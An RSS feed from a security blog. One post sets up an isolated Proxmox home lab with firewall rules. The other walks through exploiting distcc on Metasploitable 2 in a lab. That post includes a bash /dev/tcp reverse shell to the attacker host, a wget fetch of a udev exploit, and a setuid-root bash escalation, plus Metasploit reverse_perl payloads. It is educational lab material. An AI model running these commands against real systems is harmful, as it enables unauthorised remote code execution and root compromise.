<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Joe Barrett-Mead | Security Journey]]></title><description><![CDATA[Hands-on penetration testing write-ups: manual exploitation, privilege escalation, and Metasploit walkthroughs from a self-taught security practitioner.]]></description><link>https://joebarrettmead.hashnode.dev</link><image><url>https://cdn.hashnode.com/uploads/logos/6ada8ea9f0cc6bcf69d05498/ec34d861-7068-4f9d-aa24-8fbf7b831565.png</url><title>Joe Barrett-Mead | Security Journey</title><link>https://joebarrettmead.hashnode.dev</link></image><generator>RSS for Node</generator><lastBuildDate>Fri, 04 Dec 2026 21:44:19 GMT</lastBuildDate><atom:link href="https://joebarrettmead.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Moving My Home Lab to a Dedicated Laptop Without Touching the Router]]></title><description><![CDATA[Proxmox over Wi-Fi, an isolated lab network, and remote access from anywhere with Tailscale]]></description><link>https://joebarrettmead.hashnode.dev/moving-my-home-lab-to-a-dedicated-laptop-without-touching-the-router</link><guid isPermaLink="true">https://joebarrettmead.hashnode.dev/moving-my-home-lab-to-a-dedicated-laptop-without-touching-the-router</guid><category><![CDATA[Homelab]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[proxmox]]></category><category><![CDATA[tailscale]]></category><category><![CDATA[networking]]></category><dc:creator><![CDATA[Joseph Barrett-Mead]]></dc:creator><pubDate>Thu, 19 Nov 2026 09:06:21 GMT</pubDate><content:encoded><![CDATA[<h2>Why move the lab?</h2>
<p>My lab used to live in VirtualBox on my everyday laptop: Kali and Metasploitable 2 on a host-only network. It worked, but:</p>
<ul>
<li><strong>It was only on when I was.</strong> Every session started with booting VMs and ended with shutting them down.</li>
<li><strong>It competed with everything else</strong> on the laptop for RAM and CPU.</li>
<li><strong>Vulnerable machines shared hardware with my personal stuff.</strong> Isolated by a host-only adapter, but still the same physical machine.</li>
</ul>
<p>So I bought a second-hand <strong>Lenovo ThinkPad L480</strong> (Core i5-8250U / 8GB RAM/ 256GB SSD / £139) to run as a dedicated, always-on lab host. I chose a ThinkPad over a mini PC for two reasons: its battery doubles as a built-in UPS, and ThinkPads let you cap the battery charge, which matters for a machine that will be plugged in 24/7.</p>
<h2>The constraints</h2>
<ol>
<li><strong>No changes to the home router.</strong> No static IP reservations, no port forwards, no VLANs.</li>
<li><strong>Wi-Fi only.</strong> Ethernet to the router isn't an option.</li>
<li><strong>The home network must stay safe.</strong> Intentionally vulnerable machines must never be able to reach anything else in the house.</li>
<li><strong>Remote access</strong> from my main laptop (ideally WSL) and my phone, at home or away.</li>
</ol>
<p>Constraint 2 rules out the standard Proxmox setup, where VMs sit on a bridge attached to the physical network. Wi-Fi doesn't support bridging VMs like that, because an access point will only talk to the one MAC address that authenticated. So I needed a different design.</p>
<h2>The design</h2>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/9e6c07fa-369d-46d7-847e-27814a6f1b83.png" alt="Home lab v2 network diagram" style="display:block;margin:0 auto" />

<p><em>Fig 1 — Home Lab v2: the lab sits behind the Proxmox host, isolated from the home network, reachable only over Tailscale.</em></p>
<p>The Proxmox host acts as a <strong>small router</strong> for the lab:</p>
<ul>
<li>The host joins Wi-Fi like any other device and gets an address by DHCP. The router never knows the lab exists.</li>
<li>The lab lives on a <strong>private bridge (</strong><code>vmbr1</code><strong>, 10.10.10.0/24) with no physical port</strong>.</li>
<li>The host <strong>NATs</strong> lab traffic out over Wi-Fi, so VMs can still get updates.</li>
<li><strong>Firewall rules on the host</strong> drop anything from the lab heading to my home subnet, and stop lab VMs from reaching the Proxmox web UI or SSH.</li>
<li><strong>Tailscale</strong> links my devices to the host and advertises the lab subnet, so I can reach 10.10.10.x from anywhere. It's encrypted, and nothing is exposed to the internet.</li>
</ul>
<table>
<thead>
<tr>
<th>Problem</th>
<th>Solution</th>
</tr>
</thead>
<tbody><tr>
<td>Wi-Fi can't bridge VMs</td>
<td>Private bridge + NAT on the host</td>
</tr>
<tr>
<td>No static IP from the router</td>
<td>Tailscale gives the host a stable name and address</td>
</tr>
<tr>
<td>Reaching the lab remotely</td>
<td>Tailscale subnet route</td>
</tr>
<tr>
<td>Keeping the house safe</td>
<td>iptables DROP lab → home LAN, IPv6 off on the lab bridge</td>
</tr>
</tbody></table>
<h3>The key rules</h3>
<pre><code class="language-bash"># 1. NAT: lab VMs reach the internet via the host's Wi-Fi
iptables -t nat -A POSTROUTING -s 10.10.10.0/24 -o wlp5s0 -j MASQUERADE
# 2. Isolation: the lab can never reach the home network
iptables -I FORWARD -s 10.10.10.0/24 -d &lt;home-subnet&gt; -j DROP
# 3. Host protection: lab VMs can't reach the Proxmox web UI or SSH
iptables -I INPUT -i vmbr1 -p tcp -m multiport --dports 22,8006 -j DROP
</code></pre>
<ul>
<li><strong>Rule 1:</strong> The lab uses its own private range that my router doesn’t know about, and I can’t add a route to it without changing router settings, which I wanted to avoid. NAT makes lab traffic appear to come from the Proxmox host, so replies find their way back without any changes, and the lab stays hidden behind the host, giving added security benefits.</li>
<li><strong>Rule 2:</strong> Metasploitable is deliberately vulnerable, so I need to treat it as compromised. Without this rule, anything that was run on it could potentially scan and attack other devices on my home network. The DROP rule means the lab can reach the internet, but nothing else on the network, and this is shown during the ping test with 100% packet drop.</li>
<li><strong>Rule 3:</strong> As the Proxmox host controls every VM, holds the firewall rules, and sits on both home Wi-Fi and Tailscale, if a compromised VM could reach its login page or SSH, the whole setup would only be as strong as one password. This rule means the lab can't even see the host's management services. A VM escape is the worst case in virtualisation, so the host is the one thing the lab must never touch.</li>
</ul>
<p>I also disabled IPv6 on the lab bridge. My router hands out IPv6 addresses, and an IPv4-only block is no use if traffic can simply go around it.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/8f99aa46-ec6a-473d-87fe-0b698825f1e6.png" alt="live-ip tables" style="display:block;margin:0 auto" />

<p>The packet counter on the DROP rule is the nice detail here: those 15 dropped packets are my own test pings from Kali to the home network, blocked exactly as designed.</p>
<h2>Installing Proxmox with no network cable</h2>
<p>The Proxmox installer has no Wi-Fi support. The workaround was <strong>USB tethering from my phone</strong>, which shows up to the installer as a wired network card (the <code>cdc_ncm</code> interface).</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/2532683e-af42-4eb5-ab0e-4bb60c0e34d9.jpg" alt="" style="display:block;margin:0 auto" />

<p>Once Proxmox was installed, and while still tethered, I switched to the free, no-subscription update repositories, updated, and installed <code>wpasupplicant</code>. Wi-Fi is handled by a <code>wpa_supplicant@wlp5s0</code> service, with the password in a root-only file rather than the main network config.</p>
<h3>What broke (and how I fixed it)</h3>
<p><strong>1. A malformed repository file.</strong> Proxmox 9 uses a newer multi-line <code>.sources</code> format, and one mistyped character in the URL gave me a <code>Malformed entry 1 … (URI parse)</code> error. I replaced it with the older one-line format, which is much harder to mistype by hand.</p>
<p><strong>2. The Wi-Fi interface name wasn't what the installer said.</strong> The installer offers to "pin" interface names, and listed my Wi-Fi card as <code>nic2</code>. After install,l it actually came up as <code>wlp5s0</code>, because the Wi-Fi card presents a randomised MAC address and the PIN is tied to the real one. Left alone, a future boot could rename it and break my network config, so I removed the leftover PIN file to lock the name in.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/7224cf58-e9ae-4f57-a8b0-ba767509815b.jpg" alt="" style="display:block;margin:0 auto" />

<p><strong>3. Race condition at boot.</strong> The Wi-Fi service and the network config could start in either order, so DHCP sometimes ran before Wi-Fi had joined the network. I added a short wait-for-association step before the interface requests an address.</p>
<p>Then the moment of truth: unplug the phone, reboot, and the host came up on Wi-Fi by itself.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/2307d187-3adb-4cbf-bee9-285cbe5e4715.png" alt="" style="display:block;margin:0 auto" />

<p>One more gotcha: Proxmox expects its hostname to resolve to a fixed IP, and my Wi-Fi address can change. I pointed the hostname at the lab bridge address (10.10.10.1) instead, which never changes.</p>
<h2>Making a laptop behave like a server</h2>
<ul>
<li><strong>Lid closed:</strong> I told <code>systemd-logind</code> to ignore the lid switch and masked the sleep targets. My first attempt failed<code>/etc/systemd/logind.conf</code>, but Debian 13 (which Proxmox 9 is based on) no longer ships that file, so nothing changed. A drop-in file in <code>/etc/systemd/logind.conf.d/</code> fixed it. Checking the merged config later showed my first attempt had left a broken <code>/etc/systemd/logind.conf</code> with invalid values (<code>ignoresuspend</code>) that were silently overridden rather than throwing an error. I moved it out of the way so only the clean drop-in applies. Lesson: <code>systemd-analyze cat-config</code> shows you every file that's actually in play.</li>
<li><strong>Battery:</strong> this took the longest. The limit read <code>100</code> at first, so I set 75/80 with TLP. But after every reboot the values came back swapped (start 80, end 75), even though TLP's log said: "done". <code>dmesg</code> showed the firmware had registered the battery correctly as 75/80 at boot, so the stored values were fine; something was writing them in an order the battery controller wouldn't accept. Removing the thresholds from TLP's config, plus a small delayed systemd service that sets them in a safe order as a backup, fixed it. It now holds at 75–80% across reboots. Lesson: a log saying "done" isn't proof. Check the actual value.</li>
<li><strong>Power cuts:</strong> a short cut is absorbed by the battery. For a long one, a small script runs every minute. If the laptop is on battery and drops to 15%, the script shuts Proxmox down cleanly, so the VMs stop properly. The BIOS setting <em>Power On with AC Attach</em> then boots it back up when power returns.</li>
<li><strong>Wi-Fi recovery:</strong> the same script checks that it can reach the router, and reconnects if not. This matters because after a power cut, my router takes longer to boot than the laptop.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/76b54089-ab18-48f7-a3a1-f80ea17c8289.png" alt="battery thresholds" style="display:block;margin:0 auto" />

<p><strong>Fig 6 — battery thresholds showing 75/80</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/c7e19bec-1f8f-4f83-92a4-bdc2b9b693a1.png" alt="lid switch ignore" style="display:block;margin:0 auto" />

<p><strong>Fig 7 — lid settings showing</strong> <code>ignore</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/2503ddc4-3e31-49f3-a6d6-817bcf1b031f.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Fig 8 — the guard timer scheduled</strong></p>
<h2>Moving the VMs</h2>
<p>I didn't migrate everything like-for-like:</p>
<ul>
<li><strong>Metasploitable 2: imported the existing disk.</strong> I copied the <code>.vmdk</code> over SFTP and used <code>qm disk import</code>. It's an old 32-bit system, so it needs an <strong>IDE disk and an Intel e1000 network card</strong>. It has no drivers for Proxmox's faster virtio devices.<ul>
<li><em>Gotcha:</em> it remembers network cards by MAC address, and Proxmox gave it a new one. Restarting networking also threw a <code>SIOCDELRT: No such process</code> error, which turned out to be harmless: it was trying to delete an old route that didn't exist.</li>
</ul>
</li>
<li><strong>Kali: rebuilt fresh</strong> from the official QEMU image. VirtualBox guest additions don't belong on Proxmox, and a clean build was quicker than fixing drivers. I added the QEMU guest agent, which later let me reset a forgotten password straight from the Proxmox host, with no recovery boot needed.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/26b0dede-8257-420b-bf3e-7e3b618d96e1.png" alt="" style="display:block;margin:0 auto" />

<p>📸 <strong>Fig 9 — Proxmox VM list showing 100 (kali) and 200 (metasploitable2)</strong></p>
<p>Both VMs start automatically at boot, and I took a <code>clean-baseline</code> snapshot of each before doing anything else.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/ada389bb-ad3d-4c1f-ad9c-103cd42ca53c.png" alt="" style="display:block;margin:0 auto" />

<p>📸 <strong>Fig 10 — snapshots tab</strong></p>
<h2>Proving the isolation works</h2>
<p>Designing isolation isn't the same as having it, so I tested it from Kali:</p>
<table>
<thead>
<tr>
<th>Test from Kali</th>
<th>Result</th>
<th>What it proves</th>
</tr>
</thead>
<tbody><tr>
<td><code>ping -c3 1.1.1.1</code></td>
<td>✅ replies</td>
<td>Lab has internet</td>
</tr>
<tr>
<td><code>ping -c3 10.10.10.20</code></td>
<td>✅ replies</td>
<td>Kali can reach its target</td>
</tr>
<tr>
<td><code>ping -c3 &lt;home router&gt;</code></td>
<td>❌ 100% loss</td>
<td>Home network blocked</td>
</tr>
<tr>
<td><code>ping -c3 &lt;main laptop&gt;</code></td>
<td>❌ 100% loss</td>
<td>Personal devices unreachable</td>
</tr>
<tr>
<td><code>curl -k -m5 https://10.10.10.1:8006</code></td>
<td>❌ times out</td>
<td>Proxmox protected from the lab</td>
</tr>
</tbody></table>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/ddb87258-ad74-4bed-9aa5-39b0581f7e4b.png" alt="" style="display:block;margin:0 auto" />

<p>📸 <strong>Fig 11 — the five tests in one terminal</strong></p>
<h2>Remote access</h2>
<p>With Tailscale advertising the lab subnet, I can SSH straight to <code>10.10.10.10</code> from WSL on my main laptop, and from my phone using Termius. It works the same on any Wi-Fi network, whether at home, at work, or in a café, with no ports opened on my router. Over Wi-Fi plus Tailscale, I measured around 2–3% packet loss, which makes no noticeable difference for SSH.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/821cc4ff-40a5-47e0-8c82-c1c62889d918.png" alt="" style="display:block;margin:0 auto" />

<p>📸 <strong>Fig 12 — SSH into Kali from WSL</strong></p>
<p>One mistake I made: I tried to log into Kali using the Proxmox host's Tailscale IPs as a user <code>kali</code>. It failed with "permission denied" because that address belongs to the <strong>host</strong>, not the VM. The lab sits <em>behind</em> it. The fix is either to connect to <code>10.10.10.10</code> directly through the subnet route, or to use Proxmox as a jump host (<code>ssh -J root@&lt;host&gt; kali@10.10.10.10</code>). An SSH config file with named entries means I don't make that mistake again.</p>
<p>Metasploitable 2 also needs legacy SSH algorithms (<code>ssh-rsa</code>, <code>diffie-hellman-group1-sha1</code>) that modern clients refuse by default. That's a nice reminder of how old the software is.</p>
<h2>What I'd do differently</h2>
<p>Things I would do differently next time: take screenshots. I didn't this time; a lot of the proof images I had to go back and recreate them. I would also recommend trying to copy and paste configs instead of typing heredocs by hand to avoid any errors or mistakes. Also, ensure your machines have enough RAM. I am looking at upgrading RAM, which will help in the future.</p>
<h2>What's next</h2>
<ul>
<li>Looking at setting up a proper lab firewall rather than relying on Proxmox to act as a host with firewall rules, looking at options that are out there such as OPNsense VM</li>
<li>Once RAM is upgraded, I'll be looking at setting up an AD on the system as well to practise my skills on that as well.</li>
</ul>
<hr />
<p><em>All testing described here is performed on machines I own, on an isolated network. Never test systems without explicit permission — unauthorised access is an offence under the Computer Misuse Act 1990.</em></p>
]]></content:encoded></item><item><title><![CDATA[Beyond the Backdoor: Manually and Automatically Exploiting Distcc on Metasploitable 2]]></title><description><![CDATA[⚠️ Legal & lab notice — Everything below was performed against Metasploitable 2, a deliberately vulnerable virtual machine running on an isolated host-only…]]></description><link>https://joebarrettmead.hashnode.dev/beyond-the-backdoor-manually-and-automatically-exploiting-distcc-on-metasploitable-2</link><guid isPermaLink="true">https://joebarrettmead.hashnode.dev/beyond-the-backdoor-manually-and-automatically-exploiting-distcc-on-metasploitable-2</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[Ethical Hacking]]></category><category><![CDATA[Linux]]></category><category><![CDATA[metasploit]]></category><category><![CDATA[#infosec]]></category><dc:creator><![CDATA[Joseph Barrett-Mead]]></dc:creator><pubDate>Tue, 17 Nov 2026 02:16:46 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>⚠️ <strong>Legal &amp; lab notice</strong> — Everything below was performed against <strong>Metasploitable 2</strong>, a deliberately vulnerable virtual machine running on an <strong>isolated host-only network</strong> with no route to the internet or any production system. The techniques here are shown for education and authorised testing only. Running them against any system you do not own or have <strong>written permission</strong> to test is illegal. Don't.</p>
</blockquote>
<p><em>Lab addresses used throughout: attacker (Kali)</em> <code>192.168.225.3</code><em>target (Metasploitable 2)</em> <code>192.168.225.4</code><em>.</em></p>
<p>When you lean entirely on automated frameworks, the mechanics of an exploit disappear behind a single <code>exploit</code> command. This post deliberately does it the slow way first.</p>
<p>We'll take a classic misconfiguration in <strong>distcc</strong> (the Distributed C/C++ Compiler) on port 3632 and work through it end to end: find it, exploit it by hand, escalate to root, then repeat the whole thing in Metasploit — and finish with the remediation advice a client would actually pay for.</p>
<hr />
<h2>1. Enumeration: Spotting the Flaw</h2>
<p>A targeted version scan against the Metasploitable 2 host:</p>
<pre><code class="language-bash">nmap -p 3632 -sV 192.168.225.4
</code></pre>
<pre><code class="language-text">PORT     STATE SERVICE VERSION
3632/tcp open  distcc  distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/f51169c6-e48c-4e71-9017-7f2069818076.png" alt="Nmap version scan identifying distccd on port 3632" style="display:block;margin:0 auto" />

<p><em>Figure 1 — Nmap confirms distccd v1 listening on 3632.</em></p>
<h3>Why this is a finding</h3>
<p><code>searchsploit distcc</code> (or a search for the banner) points straight to <strong>CVE-2004-2687</strong>. The flaw is in distcc's design, not a coding bug: the daemon accepts compile jobs from any network client and runs the build steps through the system shell <strong>without authentication or sandboxing</strong>. Tell it that a "compilation step" is actually<code>id</code>, and it runs <code>id</code>. That's unauthenticated remote command execution by design.</p>
<hr />
<h2>2. The Manual Route: Under the Hood</h2>
<h3>Step 1 — Confirm execution with a harmless command</h3>
<p>Before firing a shell, prove the flaw exists. Nmap ships an NSE script that frames the exact distcc packet for you.</p>
<blockquote>
<p><strong>Syntax note that saves you ten minutes:</strong> the script file is <code>distcc-cve2004-2687.nse</code>. The <code>--script-args</code> prefix <strong>must match</strong> the name you pass to <code>--script</code>. Some older guides show <code>distcc-exec</code> — that alias doesn't resolve on current Nmap builds and fails silently. Use the CVE name for both:</p>
</blockquote>
<pre><code class="language-bash">nmap -p 3632 --script distcc-cve2004-2687 \
  --script-args="distcc-cve2004-2687.cmd='id'" \
  192.168.225.4
</code></pre>
<p>The script prints the command's output directly, so you confirm RCE <strong>and</strong> see which account you're running as in one shot:</p>
<pre><code class="language-text">|   uid=1(daemon) gid=1(daemon) groups=1(daemon)
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/65241c09-15ba-4ca1-b319-55fd0bc58d70.png" alt="NSE script output showing id running as the daemon user" style="display:block;margin:0 auto" />

<p><em>Figure 2 — RCE confirmed. We're executing as the low-privilege</em> <code>daemon</code> <em>account.</em></p>
<h3>Step 2 — Upgrade to an interactive reverse shell</h3>
<p>Start a listener on the attacker machine:</p>
<pre><code class="language-bash">nc -nvlp 4444
</code></pre>
<p>Then send a reverse shell through the same script:</p>
<pre><code class="language-bash">nmap -p 3632 --script distcc-cve2004-2687 \
  --script-args="distcc-cve2004-2687.cmd='bash -c \"bash -i &gt;&amp; /dev/tcp/192.168.225.3/4444 0&gt;&amp;1\"'" \
  192.168.225.4
</code></pre>
<blockquote>
<p><strong>Why</strong> <code>bash -c "..."</code> <strong>instead of a bare one-liner?</strong> distcc hands our command to the target's <code>/bin/sh</code>, which on this Ubuntu build is <strong>dash</strong>, not bash. Dash doesn't understand the <code>&gt;&amp;</code> redirection or the <code>/dev/tcp/</code> pseudo-device — both are bash-isms. Wrapping the payload in <code>bash -c "..."</code> forces bash to parse the redirection, so the shell actually connects. Skip the wrapper and you'll get a connection that dies instantly.</p>
</blockquote>
<p>Back on the listener, you catch the session. There's no prompt and no echo — this is a raw, "dumb" shell, so type blind. <code>whoami</code> returns <code>daemon</code>: a foothold, but not the keys to the box.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/466ca97a-39c9-42e2-a799-521328235a42.png" alt="Netcat catching the daemon reverse shell" style="display:block;margin:0 auto" />

<p><em>Figure 3 — First shell caught on port 4444, running as</em> <code>daemon</code><em>.</em></p>
<h3>Step 3 — Privilege escalation to root (udev)</h3>
<p>Metasploitable 2 runs Linux kernel 2.6.24, vulnerable to the <strong>udev Netlink local privilege escalation, CVE-2009-1185</strong> (Exploit-DB <strong>8572</strong>). <code>udev</code> handles device events and, on this kernel, fails to verify that a Netlink message genuinely came from the kernel. Send it a forged message, and it runs a script of our choosing — and because udev runs as root, that script runs <strong>as root</strong>.</p>
<p><strong>1. Get the exploit source onto the target.</strong> The exploit ships with Kali, so there's nothing to download from the internet. Mirror it out of the local exploit database:</p>
<pre><code class="language-bash"># on Kali
searchsploit -m 8572          # copies 8572.c into the current directory
python3 -m http.server 8000   # serve it; leave running
</code></pre>
<p>Then pull it across in the <code>daemon</code> shell and confirm it actually arrived (non-zero size) before compiling:</p>
<pre><code class="language-bash"># on the target, in the daemon shell
cd /tmp
wget http://192.168.225.3:8000/8572.c
ls -l 8572.c                   # expect ~2.7 KB, not 0
</code></pre>
<p><strong>2. Compile it on the target — not on Kali.</strong> The exploit must be built against the target's ancient kernel and libraries, so it's compiled on the box itself. Metasploitable ships <code>gcc</code> precisely so local exploits like this can be built in place:</p>
<pre><code class="language-bash">gcc 8572.c -o udev_exploit
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/ee386fa7-e781-417f-b10f-f1403ee7121d.png" alt="Exploit source transferred to the target and compiled on-box" style="display:block;margin:0 auto" />

<p><em>Figure 4 —</em> <code>8572.c</code> <em>pulled to</em> <code>/tmp</code> <em>and compiled into</em> <code>udev_exploit</code> <em>on the target.</em></p>
<p><strong>3. Find the Netlink socket number — and understand what you're reading.</strong> The exploit's only argument is the number of <strong>udev's Netlink socket</strong>, not the udevd process ID. Read it straight from the kernel:</p>
<pre><code class="language-bash">cat /proc/net/netlink
</code></pre>
<pre><code class="language-text">sk       Eth Pid   Groups ...
...
df8f6800 15  2413  00000001 ...   &lt;-- this line
...
</code></pre>
<p>The column order is socket address, then <strong>Eth</strong> (the Netlink protocol family), then <strong>Pid</strong>. The udev uevent socket is family <strong>15</strong> (<code>NETLINK_KOBJECT_UEVENT</code>). There are several family-15 rows, but only one has a <strong>non-zero PID</strong> — here, <strong>2413</strong>. That's the live udevd socket, and 2413 is the number we feed the exploit.</p>
<blockquote>
<p><strong>The "udevd PID minus one" shortcut, explained.</strong> Many walkthroughs tell you to run <code>ps aux | grep udev</code>, take udevd's PID and subtract one. That works because the Netlink listener socket is opened by the helper process spawned immediately <em>before</em> the main <code>udevd</code>. Reading <code>/proc/net/netlink</code> directly is more reliable — it's the authoritative source — and it's a useful cross-check: here udevd was PID 2414, so "minus one" gives 2413, matching the socket. If the arithmetic ever disagrees with the socket table, trust the table.</p>
</blockquote>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/4704a6d3-5a5a-41b2-929e-925e6afd72c1.png" alt="Reading /proc/net/netlink to find the udev Netlink socket number" style="display:block;margin:0 auto" />

<p><em>Figure 5 — the family-15 socket with a non-zero PID is udev's; that number goes to the exploit.</em></p>
<p><strong>4. Stage the payload udev will run as root.</strong> My first attempt here was a reverse shell (<code>bash -c "bash -i &gt;&amp; /dev/tcp/.../5555"</code> written into <code>/tmp/run</code>) — and nothing ever hit the listener. The lesson is worth keeping: udev executes the payload in a <strong>stripped-down, non-interactive environment</strong> where that bash/<code>/dev/tcp</code> call-back doesn't reliably fire. The robust approach needs no network and no second listener at all — have root make a <strong>setuid copy of bash</strong> instead:</p>
<pre><code class="language-bash">echo '#!/bin/sh' &gt; /tmp/run
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' &gt;&gt; /tmp/run
chmod +x /tmp/run
</code></pre>
<p><strong>5. Fire the exploit</strong> with the Netlink number from step 3. (8572 injects its own Netlink message to trigger execution — you do <em>not</em> need to manually poke <code>/sys/.../uevent</code>.)</p>
<pre><code class="language-bash">./udev_exploit 2413
</code></pre>
<p>Wait a couple of seconds, then confirm the payload ran as root:</p>
<pre><code class="language-bash">ls -l /tmp/rootbash
</code></pre>
<pre><code class="language-text">-rwsr-sr-x 1 root root 701808 ... /tmp/rootbash
</code></pre>
<p>The <code>s</code> in the permission string is the setuid bit and the owner is <strong>root</strong> — udev executed <code>/tmp/run</code> with full privileges, exactly as intended.</p>
<p><strong>6. Claim the root shell — mind the</strong> <code>-p</code><strong>.</strong> Launch the setuid bash, and keep the <code>-p</code> flag, because without it bash drops its elevated privileges on startup:</p>
<pre><code class="language-bash">/tmp/rootbash -p
id
</code></pre>
<pre><code class="language-text">uid=1(daemon) gid=1(daemon) euid=0(root) egid=0(root) groups=1(daemon)
</code></pre>
<p>That <code>euid=0(root)</code> is the win, and the prompt flips from <code>$</code> to <code>#</code>.</p>
<blockquote>
<p><strong>Two gotchas that cost me time here:</strong></p>
<ul>
<li><strong>Don't launch a plain</strong> <code>bash</code> <strong>after</strong> <code>rootbash -p</code><strong>.</strong> A bare bash (including the one <code>python -c 'pty.spawn("/bin/bash")'</code> spawns) <em>drops</em> setuid and lands you back at <code>daemon</code>. Confirm <code>euid=0</code> <em>first</em>, then upgrade the TTY without dropping privilege: <code>python -c 'import os;os.setuid(0);os.setgid(0);os.system("/bin/bash -p")'</code> — that gives a clean <code>uid=0(root)</code> throughout.</li>
<li><code>euid=0</code> <strong>vs</strong> <code>uid=0</code> <strong>is fine.</strong> setuid sets the <em>effective</em> UID to root (that's what grants the power) while the <em>real</em> UID stays daemon. You have full root; <code>uid=0</code> everywhere is just cosmetic.</li>
</ul>
</blockquote>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/82b982dd-cdd8-4169-b07b-623b5ac78a23.png" alt="Root shell confirmed via the setuid bash copy" style="display:block;margin:0 auto" />

<p><em>Figure 6 —</em> <code>rootbash -p</code> <em>yields</em> <code>euid=0(root)</code> <em>— full root on the target.</em></p>
<p><strong>7. Tidy up.</strong> A real engagement doesn't leave a setuid-root bash and exploit source lying around — that's an artefact a report would flag. Clean it:</p>
<pre><code class="language-bash">rm /tmp/rootbash /tmp/run /tmp/udev_exploit /tmp/8572.c
</code></pre>
<hr />
<h2>3. The Metasploit Route: Speed, Automation — and Its Limits</h2>
<p>Metasploit folds packet framing and payload generation into one workflow. Here it automated the foothold cleanly, then hit a wall on escalation — which is itself worth documenting, because knowing when a tool has failed <em>you</em> versus failed <em>itself</em> is half the job.</p>
<h3>Stage 1 — Initial shell (mind the payload)</h3>
<pre><code class="language-bash">msfconsole
use exploit/unix/misc/distcc_exec
set RHOSTS 192.168.225.4
set LHOST 192.168.225.3
run
</code></pre>
<p>The default payload, <code>cmd/unix/reverse_bash</code>fails against this target for the <strong>same reason the manual reverse shell did</strong>: distcc runs the payload through the target's <code>/bin/sh</code> (dash), which has no <code>/dev/tcp</code>, so the callback never forms.</p>
<pre><code class="language-text">stderr: bash: /dev/tcp/192.168.225.3/4444: No such file or directory
Exploit completed, but no session was created.
</code></pre>
<p>Check the compatible set with <code>show payloads</code> and switch to a Perl-based payload, which doesn't touch <code>/dev/tcp</code>:</p>
<pre><code class="language-bash">set PAYLOAD cmd/unix/reverse_perl
run
</code></pre>
<p>Session 1 lands as <code>daemon</code>:</p>
<pre><code class="language-text">Command shell session 1 opened (192.168.225.3:4444 -&gt; 192.168.225.4:36510)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/375c535a-0586-4bd0-b44b-74fc6ae7d8f5.png" alt="Metasploit distcc_exec returning a daemon command shell session" style="display:block;margin:0 auto" />

<p><em>Figure 7 —</em> <code>distcc_exec</code> <em>with a Perl payload returns a</em> <code>daemon</code> <em>session.</em></p>
<blockquote>
<p><strong>Lesson worth keeping:</strong> the default distcc payload assumes bash. On a dash target, <code>cmd/unix/reverse_perl</code> (or <code>reverse_ruby</code>) is the dependable pick. Most walkthroughs never mention it because they never hit it.</p>
</blockquote>
<h3>Stage 2 — Where the automation breaks down</h3>
<p>The textbook next step is to background session 1 and escalate with <code>udev_netlink</code>:</p>
<pre><code class="language-bash"># Ctrl+Z to background session 1
use exploit/linux/local/udev_netlink
set SESSION 1
set PAYLOAD linux/x86/shell/reverse_tcp
set LHOST 192.168.225.3
set LPORT 5555
run
</code></pre>
<p>On this target it doesn't work, and the way it fails is the interesting part:</p>
<ol>
<li><p><strong>Auto-detect fails.</strong> From a <code>unix</code> command shell, the module can't find the Netlink PID, so you supply it manually — <code>set NetlinkPID 2365</code>, read from <code>/proc/net/netlink</code> exactly as in the manual route.</p>
</li>
<li><p><strong>Even with the PID, it crashes.</strong> It locates the socket, then throws a Ruby error:</p>
<pre><code class="language-text">[+] Found netlink pid: 2365
[-] Exploit failed: NoMethodError undefined method `length' for nil
</code></pre>
</li>
<li><p><strong>Upgrading the session doesn't help.</strong> <code>sessions -u 1</code> builds a native <code>linux/x86</code> Meterpreter session — precisely what the module's compatibility warning asked for — but re-running against it throws the <em>same</em> <code>NoMethodError</code>.</p>
</li>
<li><p><strong>The alternate module isn't there.</strong> <code>exploit/linux/local/udev_cve_2009_1185</code> returns "No results from search" on this Metasploit build.</p>
</li>
</ol>
<img src="https://cdn.hashnode.com/uploads/covers/6ada8ea9f0cc6bcf69d05498/635dfa87-1ea4-42ba-abee-08ab4a75738e.png" alt="Metasploit udev_netlink crashing with a NoMethodError despite a valid netlink PID" style="display:block;margin:0 auto" />

